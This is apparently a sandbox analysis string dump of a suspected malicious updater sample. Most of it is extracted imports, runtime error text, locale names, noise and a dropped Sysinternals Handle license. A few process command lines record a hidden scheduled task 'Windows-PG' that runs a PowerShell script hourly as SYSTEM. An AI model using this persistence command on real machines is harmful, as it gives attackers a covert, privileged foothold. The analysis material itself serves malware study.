P_Z'^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pADGDaDGF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
paraguay
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PathAddBackslashW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PathFileExistsW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PathFindExtensionW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pdwV/}i!+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
permission denied
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
permission_denied
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Pff((m
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PGSKA["w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pl9y2~ A.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pN0RKPxHuK
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Pn{@-A
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
portuguese-brazilian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
powershell.exe
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
pQ)uAb_i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pr china
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
protocol error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
protocol not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
protocol_not_supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pS&eS]ZoI
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Pt.aXIsNC
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ptember
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PTZ;,L703
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
puB-FSp]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
puerto-rico
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pV08^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pVWQ;{/DiA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P{>fc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p|Tq8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p|=B!k1uv
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Qx01j!zYk
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q"2X[Z]X[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q$}/9ceyb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q2%@"21(W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q2hlbGZOb3RpZnkgVGFzaw==
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q72A>)8L
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q?<-+st7(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q[3.9W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q_::i+&l.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q_VcIEU9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Qb13Q
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qbdA<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
QC{-1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qD=F4a)}2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Qg_+doh_I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qH'+|0DGGN0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qh]=f@&[[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qHgRDx i;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Qi0YV1R&u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qK#c^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
QueryPerformanceCounter
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qW,mF4t]2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q}v2m_5v7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q}}KVTf,i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q~zUN-gLJZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R$sVQ^w-8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r'WHBuxbJ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r+GKpMXC%
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r,{#Lu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r5p#rupcrUpCr
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6002- floating point support not loaded
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6008- not enough space for arguments
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6009- not enough space for environment
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6010- abort() has been called
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6016- not enough space for thread data
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6017- unexpected multithread lock error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6018- unexpected heap error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6019- unable to open console device
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6024- not enough space for _onexit/atexit table
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6025- pure virtual function call
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6026- not enough space for stdio initialization
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6027- not enough space for lowio initialization
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6028- unable to initialize heap
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6030- CRT not initialized
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6031- Attempt to initialize the CRT more than once.This indicates a bug in your application.
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6032- not enough space for locale information
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6034- inconsistent onexit begin-end variables
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r7/0a0V@v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R7ib2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R:[^#cI`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R;Pn ;sWZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R<l+)~,t6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r`GOxtoj~n@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ragua
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RaiseException
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ralian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RCn{,Wk5w^7Q
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Rcu%0$KyWnW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RdCnnzP6y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
read only file system
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ReadConsoleW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ReadFile
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RegCloseKey
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RegOpenKeyExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RegQueryValueExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RemoveDirectoryW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
resource deadlock would occur
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
resource unavailable try again
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
restrict(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
result out of range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rm+SF~#wA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RM2dz17 123<1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RqQ~$Zi_F
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rT,i}RjhT
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rteMN.|{\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RtlUnwind
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rundll32.exe
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
runtime error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Runtime Error!Program:
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RVfCeC%2+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Rx/'^w9XX1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r}2%P_DK)/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R}jNkcqTc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r~Sm?+o;z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S|wUMrdy
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S"-mn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S%65t7rq!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s)c`Zo?O9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s0Qee|g>RBNs#6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s0t,|zh|Jz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S1Y$N^l W_IJ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S4;n3>,*x
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S7!Z3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s72EW!7'i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s77xOIQJs
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S:R+XU;(U
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S<<cd[v4k
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s=]u?+m'g?;c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s[IaKz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
sa=b*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SaG83o]`f
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Saturday
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SB6x[al
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
sCaller: mixing creation and opening of zip
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
second
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
September
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetCurrentDirectoryW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetDefaultDllDirectories
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetEndOfFile
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetFileAttributesW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetFileInformationByHandleW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetFilePointer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetFilePointerEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetFileTime
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetLastError
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetStdHandle
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetThreadpoolTimer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetThreadpoolWait
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetThreadStackGuarantee
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetUnhandledExceptionFilter
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Sf:,W]$"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SHELL32.dll
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ShellExecuteExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ShellExecuteW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
shg,Nv8dt@X
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SHLWAPI.dll
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Shlwapi.dll
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SING error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SizeofResource
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Sleep
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
sLV`fB]g2t
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SOFTWARE\Microsoft\Cryptography
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
sOJF}M/%*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
south africa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
south korea
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
south-africa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
south-korea
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-argentina
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-bolivia
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-chile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-colombia
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-costa rica
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-dominican republic
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-ecuador
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-el salvador
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-guatemala
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-honduras
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-mexican
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-modern
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-nicaragua
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-panama
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-paraguay
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-peru
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-puerto rico
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-uruguay
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-venezuela
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
4efc9b754986ee2f2a87012g2zbt4c1c6g6z7q2c8o
Ansi based on Dropped File (Z)
/c schtasks /Run /TN Milimili
Ansi based on Process Commandline (cmd.exe)
/c schtasks /Run /TN Windows-PG
Ansi based on Process Commandline (cmd.exe)
cmd /c schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST
Ansi based on Process Commandline (cmd.exe)
%-6d type: %-13s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
Explorer
Unicode based on Dropped File (hhhhh.exe.655875088)
Mark Russinovich 1996-2014
Unicode based on Dropped File (hhhhh.exe.655875088)
y tobago
Unicode based on Dropped File (hhhhh.exe.655875088)
%-16s: %d
Unicode based on Dropped File (hhhhh.exe.655875088)
%-18s pid: %-6d type: %-13s %-25s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%-18s pid: %-6d type: %-13s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%4X: %-13s %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%4X: %-5s (%c%c%c) %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%I64d bytes
Unicode based on Dropped File (hhhhh.exe.655875088)
%s License Agreement
Unicode based on Dropped File (hhhhh.exe.655875088)
%s pid: %d %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%s(%d)
Unicode based on Dropped File (hhhhh.exe.655875088)
%s(%d): %d
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\%s:%x
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\Drivers\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\Enum
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\Security
Unicode based on Dropped File (hhhhh.exe.655875088)
%TEMP%
Unicode based on Dropped File (hhhhh.exe.655875088)
&Agree
Unicode based on Dropped File (hhhhh.exe.655875088)
&Decline
Unicode based on Dropped File (hhhhh.exe.655875088)
&Print
Unicode based on Dropped File (hhhhh.exe.655875088)
(141@1L1X1d1p1|1
Ansi based on Dropped File (hhhhh.exe.655875088)
, MMMM dd, yyyy
Unicode based on Dropped File (hhhhh.exe.655875088)
-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}
Unicode based on Dropped File (hhhhh.exe.655875088)
------------------------------------------------------------------------------
Unicode based on Dropped File (hhhhh.exe.655875088)
-a Dump all handle information.
Ansi based on Dropped File (hhhhh.exe.655875088)
-accepteula
Unicode based on Dropped File (hhhhh.exe.655875088)
-az-cyrl
Unicode based on Dropped File (hhhhh.exe.655875088)
-BA-Cyrl
Unicode based on Dropped File (hhhhh.exe.655875088)
-c Closes the specified handle (interpreted as a hexadecimal number). You must specify the process by its PID.
Ansi based on Dropped File (hhhhh.exe.655875088)
-existant Process>
Unicode based on Dropped File (hhhhh.exe.655875088)
-l Just show pagefile-backed section handles.
Ansi based on Dropped File (hhhhh.exe.655875088)
-p Dump handles belonging to process (partial name accepted).
Ansi based on Dropped File (hhhhh.exe.655875088)
-s Print count of each type of handle open.
Ansi based on Dropped File (hhhhh.exe.655875088)
-u Show the owning user name when searching for handles.
Ansi based on Dropped File (hhhhh.exe.655875088)
-y Don't prompt for close handle confirmation.
Ansi based on Dropped File (hhhhh.exe.655875088)
.pdata
Ansi based on Dropped File (hhhhh.exe.655875088)
/accepteula
Unicode based on Dropped File (hhhhh.exe.655875088)
0(0/0
Ansi based on Dropped File (hhhhh.exe.655875088)
018- unexpected heap error
Unicode based on Dropped File (hhhhh.exe.655875088)
25s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
64.exe
Unicode based on Dropped File (hhhhh.exe.655875088)
997-2013 Mark Russinovich
Unicode based on Dropped File (hhhhh.exe.655875088)
;T^h<U_i=V`j>Wak?Xbl@YcmAZdnB[eoC\fpD]gq
Unicode based on Dropped File (hhhhh.exe.655875088)
<Error Opening %s>
Unicode based on Dropped File (hhhhh.exe.655875088)
<Non-existant Process>
Unicode based on Dropped File (hhhhh.exe.655875088)
<unable to open process>
Unicode based on Dropped File (hhhhh.exe.655875088)
<unable to open token>
Unicode based on Dropped File (hhhhh.exe.655875088)
<unable to query owner>
Unicode based on Dropped File (hhhhh.exe.655875088)
<unknown owner>
Unicode based on Dropped File (hhhhh.exe.655875088)
<Unknown type>
Unicode based on Dropped File (hhhhh.exe.655875088)
> >&>,>2>8>>>D>J>P>V>\>
Ansi based on Dropped File (hhhhh.exe.655875088)
\%s:%x
Unicode based on Dropped File (hhhhh.exe.655875088)
\'b7\tab Internet-based services, and \par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab make more copies of the software than specified in this agreement or allowed by applicable law, despite this limitation;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab publish the software for others to copy;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab rent, lease or lend the software;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab support services\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab transfer the software or this agreement to any third party; or\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab use the software for commercial software hosting services.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\??\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\\.\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\\.\Global\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\b BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\b EFFET JURIDIQUE.\b0 Le pr\'e9sent contrat d\'e9crit certains droits juridiques. Vous pourriez avoir d'autres droits pr\'e9vus par les lois de votre pays. Le pr\'e9sent contrat ne modifie pas les droits que vous conf\'e8rent les lois de votre pays si celles-ci ne le permettent pas.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 2.\tab\fs19 Scope of License\caps0 .\b0 The software is licensed, not sold. This agreement only gives you some rights to use the software. Sysinternals reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 4.\tab\fs19 Export Restrictions\caps0 .\b0 The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see \cf1\ul www.microsoft.com/exporting <http://www.microsoft.com/exporting>\cf0\ulnone .\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 5.\tab\fs19 SUPPORT SERVICES.\caps0 \b0 Because this software is \ldblquote as is,\rdblquote we may not provide support services for it.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 6.\tab\fs19 Entire Agreement.\b0\caps0 This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\Device
Unicode based on Dropped File (hhhhh.exe.655875088)
\Device\Mup
Unicode based on Dropped File (hhhhh.exe.655875088)
\DosDevices\%c:
Unicode based on Dropped File (hhhhh.exe.655875088)
\DosDevices\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
\fs20 9.\tab\fs19 Disclaimer of Warranty.\caps0 \caps The software is licensed \ldblquote as-is.\rdblquote You bear the risk of using it. SYSINTERNALS gives no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this agreement cannot change. To the extent permitted under your local laws, SYSINTERNALS excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\lang1033 Cette limitation concerne :\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\ObjectTypes
Unicode based on Dropped File (hhhhh.exe.655875088)
\pard\b Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\brdrt\brdrs\brdrw10\brsp20 \sb120\sa120 If you comply with these license terms, you have the rights below.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-357\li357\sb120\sa120\tx360\b\fs20 3.\tab\fs19 DOCUMENTATION.\b0 Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-357\li357\sb120\sa120\tx360\caps\fs20 8.\tab\fs19 Legal Effect.\b0\caps0 This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.\b\caps\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-357\li357\sb120\sa120\tx360\fs20 1.\tab\fs19 INSTALLATION AND USE RIGHTS. \b0 You may install and use any number of copies of the software on your devices.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-360\li360\sb120\sa120\tx360\fs20 10.\tab\fs19 Limitation on and Exclusion of Remedies and Damages. You can recover from SYSINTERNALS and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\'b7\tab claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\'b7\tab reverse engineer, decompile or disassemble the binary versions of the software, except and only to the extent that applicable law expressly permits, despite this limitation;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\'b7\tab supplements,\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\fs20 b.\tab\fs19 Outside the United States.\b0 If you acquired the software in any other country, the laws of that country apply.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab les r\'e9clamations au titre de violation de contrat ou de garantie, ou au titre de responsabilit\'e9 stricte, de n\'e9gligence ou d'une autre faute dans la limite autoris\'e9e par la loi en vigueur.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab updates,\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\b0\'b7\tab work around any technical limitations in the binary versions of the software;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\cf0\fs20 a.\tab\fs19 United States.\b0 If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\keepn\fi-360\li360\sb120\sa120\tx360\cf2\b\caps\fs20 7.\tab\fs19 Applicable Law\caps0 .\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\keepn\fi-360\li720\sb120\sa120\tx720\lang1036\'b7\tab tout ce qui est reli\'e9 au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et\par
Ansi based on Dropped File (hhhhh.exe.655875088)
